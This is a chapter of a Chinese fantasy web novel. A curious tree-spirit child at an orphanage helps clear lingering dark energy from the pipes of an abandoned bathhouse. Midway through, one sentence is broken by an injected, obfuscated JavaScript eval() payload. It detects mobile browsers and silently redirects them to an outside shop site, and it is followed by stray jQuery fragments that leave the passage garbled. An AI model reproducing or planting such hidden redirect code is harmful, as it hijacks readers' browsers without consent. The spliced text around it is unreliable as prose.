小榆在福利院的第一顿早饭,从一颗水煮蛋开始。
他坐在石桌边,面前摆着一碗白粥、一个水煮蛋、一碟酱菜。他没有立刻动筷子,而是盯着那颗蛋看了很久,然后抬起头来,琥珀绿色的眼睛里写满了认真:“为什么蛋是圆的?”
陶陶嘴里塞着半个包子,含混地回答:“因为鸡屁股是圆的。”
小榆认真地点了点头,好像这个答案很有道理。他把蛋拿起来端详了一圈,然后又问:“为什么粥要煮那么久?”
书书放下手里的筷子回答他:“因为米要变软了才能吃。”
小榆想了想:“那为什么不直接吃本来就软的东西?”
这个问题让书书顿住了。他张了张嘴,又合上,然后低头看了一眼自己碗里的粥,好像在重新思考一个他从来没想过的问题。胡离在旁边喝了一口粥,放下碗说了一句:“这个问题我居然回答不上来。”
白泽从碟子里拿起一个水煮蛋,慢慢剥着。蛋壳被敲出细密的裂纹,他沿着裂纹一圈一圈地揭下来,保持了蛋体完整。他把剥好的蛋放在小榆面前的碟子里。小榆把蛋拿起来端详了一圈,然后抬头看着白泽的鹿角:“你的角为什么是金色的?我的头发是绿色的。”
白泽顿了一下。他低头看了看自己的鹿角,那对弯弧的角在晨光里泛着温润的金色光泽。他认真想了想,然后说:“我也不知道。它本来就是金的。”
小榆点了点头,好像这个答案也很有道理。他低头开始吃粥,吃了两口之后又抬起头来,目光落在了蹲在桌角暖气片上的小暖身上。他放下筷子蹲过去,凑近了看那团暖白色的圆球。小暖的金色小眼睛睁开了,和他对视着。小榆歪了歪脑袋:“你为什么是圆的?你为什么发光?”
小暖的金色小眼睛眨了两下,圆身子轻轻暖了一瞬,发出一声嗡鸣:“……因为。就是。暖的。”
小榆又点了点头,这次点得很认真,像是对这个有点不通顺但意外地很准确的答案表示了肯定。陶陶在旁边叹了口气,用大人的口气说:“你怎么这么多问题。”小榆转过头来看着他:“为什么不能有很多问题?”陶陶愣了两秒,把脸埋进了粥碗里。
早饭后,林小满告诉小榆今天要一起出门干活,但有几件事要先讲清楚。她伸出一根手指:“第一,不能随便扎根在别人家的地里。第二,不能问陌生人太多问题。第三——”
小榆举手打断了她:“为什么不能扎根在别人家的地里?地不是大家的吗?”
林小满看了他两秒,把第一根手指收回去,换成了第二根:“那换个说法,不能在别人没同意的地方扎根。因为有些人家的地铺了水泥,你扎不进去。”
小榆想了想,点了点头:“水泥不好。我不扎水泥。”
“第二,”林小满继续,“路上问题留到回家再问。”
小榆又举手:“那回家之后的问题现在可以先攒着吗?”
陶陶从旁边凑过来插嘴:“可以!你攒着!我帮你记!”书书站在门口,默默翻开了他那本书,在空白页上写了“小榆的问题”几个字。
林小满看着这一幕,把剩下的话咽了回去,挥了挥手:“走吧。车在巷口等着。”
旧公共澡堂在城东一条老巷子深处。巷子窄得车开不进去,一行人下车步行。巷子两侧是两三层高的旧居民楼,阳台的防盗网锈迹斑斑,有几家的窗台上摆着干枯的花盆。走到巷子尽头的时候,一栋淡黄色的旧建筑出现在眼前——两层高,外墙贴着水泥砖,门楣上还有五个褪色的红字“工农兵澡堂”,笔画边缘被风雨侵蚀得模糊了轮廓。
大门锁着,但门板朽了大半,从缺口处能看到里面暗沉沉的走廊。空气里飘着一股干燥的、混着陈年水垢和铁锈的气味,从门缝里丝丝缕缕地渗出来。
胡离站在门口对照手机里的档案照片:“‘已报备·处理完成’。标注是五年前处理的,按说暗气应该散干净了。”
小暖从白泽肩膀上探出圆脑袋,暖光从它身体里溢出来,贴着地面朝门缝里探进去。它安静地感应了几秒,然后缩回来,金色小眼睛亮了一下:“……有。底下。不多。很淡。”
“那就进去看看。”林小满蹲下来看了看门板的缺口,大小刚好容一个人侧身过去。她转头叮嘱小榆:“你跟着胡离,别乱跑。”
小榆点了点头。但他的眼睛已经往门缝里瞟了好几眼,琥珀绿色的瞳孔里映着里面暗沉沉的走廊,写满了好奇。
旧澡堂内部比外面看起来更大。一层是更衣区和大池子,更衣区的木头长椅还在,表面的漆皮一块一块地翘起来,露出底下灰白色的木头。大池子占了半间屋子,池底裂了几道缝,露出底下灰白色的水泥基层。水垢在池壁上结了厚厚一层,泛着暗黄色。二层是一排排的单间浴室,门都开着,里面的瓷砖掉了不少,露出底下的红砖。
小暖从白泽肩膀上蹦下来,在池子旁边滚了一圈,停在池底的裂缝处。它的暖光顺着裂缝探进去,贴着管道壁缓缓深入,然后停住了。它安静地感应了几秒,缩回暖光,抬头看向林小满:“……管道。在底下。出不来。”
“出不来?”林小满蹲在池边。
“太深了。拐了好几个弯。”小暖的触须在空中画了一条弯弯曲曲的线,“我够不到最里面。里面有一点点。很淡。但是有。”
白泽蹲下来,鹿角上的金光顺着池底铺过去,沿着裂缝深入管道口。金光在管道拐弯处散开了一些,照亮了管道的走向——弯弯绕绕的,有几处被水泥和锈迹堵住了大半。金光能照到第三个拐角的位置,再往深处就照不到了。
小榆凑过来看了看那道裂缝。他把手贴在池底的裂缝两侧,闭着眼睛安静了几秒,然后睁开眼说:“我可以试试。”
他蹲在池边,双手贴着裂缝两侧的水泥面。手指上的树皮纹路亮了起来,一根根细如发丝的根须从指尖伸出来,从裂缝钻进去,顺着管道的弯曲方向一路探进去。其他人都安静下来,看着那些细小的根须在地底下缓缓推进。根须遇到锈块的时候没有硬顶,从旁边绕过去;遇到水泥裂缝的时候贴着缝壁继续往前;遇到管道拐弯的时候分出一根更细的侧须先去探路,确认方向之后主根才跟上去。
大约过了五六分钟,小榆闭着的眼睛睁开了。他的指尖微微收拢,那些根须开始从管道里缓缓退出来。顺着根须一起退出来的还有一缕极淡的灰色气息,被细密的根须缠裹着,从管道深处一点一点被带出来,从裂缝口飘出来的时候像一缕被捞出水面的水草。小暖立刻滚过去,把那缕灰气裹进自己的暖光里。它轻轻颤了一下,然后暖光恢复了正常亮度:“……好了。”
小榆收回根须,坐在池边揉了揉手指。陶陶跑过来蹲在他旁边看着他的手指,手指尖上还残留着一层极淡的树皮纹路,正在慢慢消退。“你的手指累吗?”
小榆活动了一下指节:“有点。像走了很远的路。”
陶陶想了想,把自己兜里那半块没吃完的饼干掏出来递给他:“那你吃这个。走路累了要吃饼干。”小榆接过饼干咬了一口,嚼了两下,然后低头看了看饼干上缺掉的那个角,好像在想什么。但他没有问出来。
离开旧澡堂的时候天色还早。一行人走在老巷子里,胡离走在最前面,小榆走在中间,白泽在后面收尾。巷子里的梧桐树落了大半的叶子,剩下几片枯黄的挂在枝头,风一吹就晃两下。
小榆一边走一边回头看那栋淡黄色的旧楼,看了好几眼。林小满注意到他的动作,放慢了步子:“怎么了?”
小榆转过头来,步子慢了一些:“刚才在管道里的时候,那些根须碰到了一些老树的根。”
“树根?”胡离回头看了他一眼。
小榆点了点头:“在地底下,隔着水泥和管道,它们跟我说了话。很轻,断断续续的,但能听到。它们说,这栋楼底下以前有一排梧桐树,后来修澡堂的时候砍了,但根还在地下。它们一直在这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943828|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,没走。”
他顿了顿,语气很平常,像在复述一件从长辈那里听来的普通道理:“老树们以前跟我说过,地底下的东西,互相都认识。这座城底下有很多根,有活着的,有死掉的,有化成人形的,有还埋在土里的。它们都认得彼此。”
走在前面的白泽步子顿了一瞬。
林小满偏头看了他一眼。白泽没有回头,但鹿角上的金光在那一瞬间微微亮了一下,又恢复了平稳。小暖从他肩膀探出半个圆身子,金色小眼睛看着小榆的背影,暖光轻轻跳了一下,然后缩回白泽的肩窝里蹲好。林小满没有问白泽想到了什么,只是继续往前走,步子放得和刚才一样。
回到福利院的时候天还亮着。书书把今天记下来的问题清单翻开给小榆看——那页纸上密密麻麻地列着从早到晚小榆问的所有问题,有早饭桌上的“为什么蛋是圆的”,有出发前的“为什么不能随便扎根”,有路上的“为什么梧桐树冬天要掉叶子”,有旧澡堂里的“为什么管道要拐弯”,最后一行写的是“为什么陶陶要把脸埋在粥碗里”。
小榆趴在书书旁边看那页纸,认真地从头读到尾。读到最后一行的时候他抬起头来,看了一眼院子里正在追一片叶子的陶陶。陶陶跑得满头大汗,在院子里转着圈,叶子被风带着忽高忽低,他跟着跳起来去抓。小榆看了几秒,然后说:“我还有一个问题。”
书书拿起笔准备记。
小榆说:“陶陶跑得那么快,为什么不会摔倒?”
话音刚落,院子里传来“扑通”一声。陶陶被门槛绊倒了,整个人趴在地上,手里还攥着那片叶子,叶子被他护在掌心里没压坏。他抬起头来,脸上沾了一层灰,一脸无辜地看着院子里的人。
院子里安静了一瞬。然后书书先笑出了声,那种压着嘴角的、轻轻的闷笑。胡离跟着笑了,肩膀抖着,尾巴在裤腰里动了两下。白泽的嘴角弯了起来,没有出声,但眼睛里的光是笑的模样。林小满笑得蹲在了地上,一只手撑着膝盖,另一只手捂着嘴。
陶陶从地上爬起来,拍了拍膝盖上的灰,又拍了拍手里的叶子。他看着一院子笑他的人,不明白发生了什么,但他自己也跟着笑了。小暖滚到他脚边,暖光蹭了蹭他的裤腿,发出一个很轻的嗡鸣,像是在说“没事”。
小榆站在桌边,看了看陶陶,又看了看笑成一团的众人,然后低头在书书的清单上补充了最后一个问题,字迹歪歪扭扭的:“为什么摔倒之后要笑?”
书书看了一眼那行字,没有回答,只是把书合上了。
晚饭的时候小榆吃了两碗粥。他吃得比昨天快了一些,嚼的次数少了,但依然吃得很干净,碗底一粒米都没剩。饭后他蹲在枣树底下自己的扎根位上,看小暖在绿芽旁边滚来滚去。陶陶跑过来蹲在他旁边,把手里那片追了一下午的叶子递给他。叶子边缘有点卷了,但叶脉还完整。
“给你。”陶陶说,“你今天干活了。”
小榆接过叶子看了看,然后把它放在了绿芽旁边。两片叶子并排躺在泥土上,一片是陶陶追了一下午的,一片是绿芽自己的。风过来的时候两片叶子都被吹得翻了个身,然后一起落在泥土上,安安静静的。
夜深了,福利院的灯一盏一盏熄了。小榆蹲在枣树底下他的扎根位上,眼睛闭着,呼吸很浅。他的根须和前几天一样伸进土里,朝四面八方延伸出去。其中那条最细的根须又碰到了绿芽底下的根须,两条根须在土层里轻轻交叠了一下,和每天夜里一样。
小暖蹲在绿芽旁边,暖光映着两棵树的根须在泥土里交叠的位置,安安静静地亮着。白泽从偏房门口看了一眼院子里的这一幕,然后把门带上。门没有关严,留了一道缝。门缝里透出的暖光落在走廊地面上,刚好照到走廊尽头那根绿芽的方向。
院子里很安静。老枣树光秃的枝丫在夜风里轻轻晃着,树根底下,一棵绿芽、一个扎根的小树精、一团暖白色的光,在黑暗中静静地待着,各自安好。